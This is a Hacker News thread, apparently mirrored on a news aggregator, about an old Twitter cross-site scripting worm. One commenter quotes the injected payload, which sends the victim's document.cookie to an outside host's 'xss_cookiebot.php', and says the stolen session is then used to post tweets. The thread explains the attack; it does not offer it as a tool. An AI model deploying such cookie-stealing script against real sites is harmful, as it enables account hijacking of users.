TE
TechEcho
Home24h TopNewestBestAskShowJobs
GitHubTwitter
Home

TechEcho

A tech news platform built with Next.js, providing global tech news and discussions.

GitHubTwitter

Home

HomeNewestBestAskShowJobs

Resources

HackerNews APIOriginal HackerNewsNext.js

© 2025 TechEcho. All rights reserved.

Twitter XSS (do not click that bit.ly link)

7 pointsby timfover 14 years ago

2 comments

js4allover 14 years ago
It's a classical cookie stealing attack by injecting an image tag into a twitter search api call.<p><pre><code> &#60;script&#62; document.location="http://dev.twitter.com/search?query==&#60;/script&#62; &#60;script&#62; document.write(&#60;img src="http://skeptikal.org/exploits/twitter/xss_cookiebot.php?" + document.cookie + "&#62;"); &#60;/script&#62; </code></pre> Once the cookiebot has the session cookie it tweets. That stuff is done server-side in the xss_cookiebot.php PHP script.
tlackover 14 years ago
Analysis of how this works?